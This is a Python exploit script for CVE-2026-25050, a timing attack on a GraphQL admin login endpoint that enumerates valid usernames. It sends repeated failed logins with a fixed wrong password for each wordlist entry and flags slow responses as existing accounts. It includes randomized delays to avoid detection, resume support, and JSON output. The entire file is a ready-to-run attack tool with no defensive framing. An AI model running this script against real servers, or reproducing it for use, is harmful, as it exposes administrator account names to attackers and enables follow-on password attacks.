#!/usr/bin/env python3 import aiohttp import asyncio import time import numpy as np import argparse import sys import os import json import random HEADERS = { "Content-Type": "application/json", "apollo-require-preflight": "true", } QUERY = """ mutation AttemptLogin($username: String!, $password: String!, $rememberMe: Boolean!) { login(username: $username, password: $password, rememberMe: $rememberMe) { __typename } } """ ATTEMPTS = 20 FAST_THRESHOLD = 40 SLOW_THRESHOLD = 150 TIMEOUT = aiohttp.ClientTimeout(total=10) RED = "\033[91m" GREEN = "\033[92m" YELLOW = "\033[93m" BLUE = "\033[94m" CYAN = "\033[96m" BOLD = "\033[1m" RESET = "\033[0m" BANNER = f"""{RED}{BOLD} ██████╗ ██╗ ██╗███████╗ ██╔════╝ ██║ ██║██╔════╝ ██║ ██║ ██║█████╗ ██║ ╚██╗ ██╔╝██╔══╝ ╚██████╗ ╚████╔╝ ███████╗ ╚═════╝ ╚═══╝ ╚══════╝ CVE-2026-25050 {RESET}{CYAN} Timing attack enables user enumeration in NativeAuthenticationStrategy {RESET} """ def confidence_score(mean): if mean <= FAST_THRESHOLD: return 0 if mean >= SLOW_THRESHOLD: return min(100, int((mean - FAST_THRESHOLD) / (SLOW_THRESHOLD - FAST_THRESHOLD) * 100)) return int((mean - FAST_THRESHOLD) / (SLOW_THRESHOLD - FAST_THRESHOLD) * 50) async def measure(session, url, username, delay): timings = [] payload = { "operationName": "AttemptLogin", "variables": { "username": username, "password": "TotallyWrongPassword123!", "rememberMe": False }, "query": QUERY } for _ in range(ATTEMPTS): start = time.perf_counter() async with session.post(url, json=payload, headers=HEADERS) as resp: await resp.text() timings.append((time.perf_counter() - start) * 1000) if delay: await asyncio.sleep(random.uniform(*delay) / 1000) return np.mean(timings), np.std(timings) async def main(): parser = argparse.ArgumentParser() parser.add_argument("-u", "--url", required=True) parser.add_argument("-w", "--wordlist", required=True) parser.add_argument("--silent", action="store_true") parser.add_argument("--shuffle", action="store_true") parser.add_argument("--resume") parser.add_argument("--json") parser.add_argument("--delay") args = parser.parse_args() print(BANNER) base_url = args.url.rstrip("/") url = f"{base_url}/admin-api?languageCode=en" if not os.path.isfile(args.wordlist): print(f"{RED}[!] Wordlist not found{RESET}") return with open(args.wordlist, "r", encoding="latin-1", errors="ignore") as f: usernames = [u.strip() for u in f if u.strip()] if args.shuffle: random.shuffle(usernames) start_index = 0 results = [] if args.resume and os.path.isfile(args.resume): with open(args.resume, "r") as f: state = json.load(f) start_index = state.get("index", 0) results = state.get("results", []) delay = None if args.delay: a, b = args.delay.split(":") delay = (int(a), int(b)) total = len(usernames) tested = start_index valid_users = [r["username"] for r in results if r["verdict"] == "VALID"] try: async with aiohttp.ClientSession(timeout=TIMEOUT) as session: for i in range(start_index, total): user = usernames[i] mean, std = await measure(session, url, user, delay) tested += 1 conf = confidence_score(mean) if mean > SLOW_THRESHOLD: verdict = "VALID" valid_users.append(user) if args.silent: print(f"\n{GREEN}[+] VALID USER FOUND: {user} ({conf}%) {RESET}") elif mean < FAST_THRESHOLD: verdict = "FAST" else: verdict = "AMBIGUOUS" result = { "username": user, "mean_ms": round(mean, 2), "stddev": round(std, 2), "confidence": conf, "verdict": verdict } results.append(result) if args.resume: with open(args.resume, "w") as f: json.dump({"index": tested, "results": results}, f, indent=2) if args.silent: percent = tested / total * 100 print(f"\r{CYAN}[+] Progress: {percent:6.2f}% ({tested}/{total}){RESET}", end="", flush=True) else: print(f"{user:<20} {mean:7.2f} ms → {verdict} ({conf}%)") except (KeyboardInterrupt, EOFError, asyncio.CancelledError): pass finally: if args.silent: print() if args.json: with open(args.json, "w") as f: json.dump(results, f, indent=2) if valid_users: print(f"\n{GREEN}{BOLD}[+] Password-based accounts discovered:{RESET}") for u in valid_users: print(f" - {u}") else: print(f"\n{YELLOW}{BOLD}[-] No password-based accounts detected{RESET}") if __name__ == "__main__": try: asyncio.run(main()) except KeyboardInterrupt: pass